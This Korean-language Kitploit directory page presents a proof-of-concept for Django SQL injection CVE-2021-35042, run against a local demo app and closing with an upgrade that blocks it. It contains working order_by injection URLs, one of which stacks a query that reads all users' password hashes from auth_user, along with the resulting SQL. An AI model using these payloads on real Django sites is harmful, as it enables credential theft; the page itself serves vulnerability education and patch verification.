Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-35042 — Django SQL 인젝션(CVE-2021-35042)을 시연하는 대화형 개념 증명으로, SQLite 및 PostgreSQL 데이터베이스를 대상으로 단계별 익스플로잇을 제공합니다. | Kitploit
도구/GitHubGitHub/r4vi/cve-2021-35042
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubr4vi/cve-2021-35042

CVE-2021-35042

Django SQL 인젝션(CVE-2021-35042)을 시연하는 대화형 개념 증명으로, SQLite 및 PostgreSQL 데이터베이스를 대상으로 단계별 익스플로잇을 제공합니다.

저장소 보기
54년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-35042

Django SQL 주입 버그

질문: 얼마나 취약한지 탐구해보자?

답변: 무섭다

설치

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

대화형 데모

poetry run ./manage.py runserver

무작위 필드로 정렬하기

http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 로 이동 ?order_by 파라미터가 열 "core_things_tags"."things_id"에 대한 원시 SQL 참조를 전달하는 것에 주목하세요

첫 번째 쿼리를 종료하고 일부 SQL을 실행해 보기

이것이 아마도 최대한 갈 수 있는 수준입니다: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- 첫 번째 SQL 쿼리를 종료하고 다음 SQL로 변환됩니다:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

다음과 같은 오류가 발생합니다:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

이는 단순히 sqlite가 한 번에 하나의 쿼리만 실행할 수 있기 때문입니다

PostgreSQL로 두 번째 쿼리 실행 재시도

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # 자신의 PostgreSQL 서버에 맞는 유효한 DATABASE_URL로 설정하세요

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # 프롬프트에 따라 진행

방문: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

다음 SQL을 실행합니다:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

이제 거의 모든 것을 할 수 있습니다. 이 쿼리는 모든 사용자의 비밀번호 해시를 탈취합니다.

취약하지 않은 버전으로 업그레이드

이제 임시로 Django를 업그레이드합니다

poetry shell

pip install Django==3.2.5

위 URL을 다시 방문하면 더 이상 작동하지 않는 것을 확인할 수 있습니다:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
도구 다운로드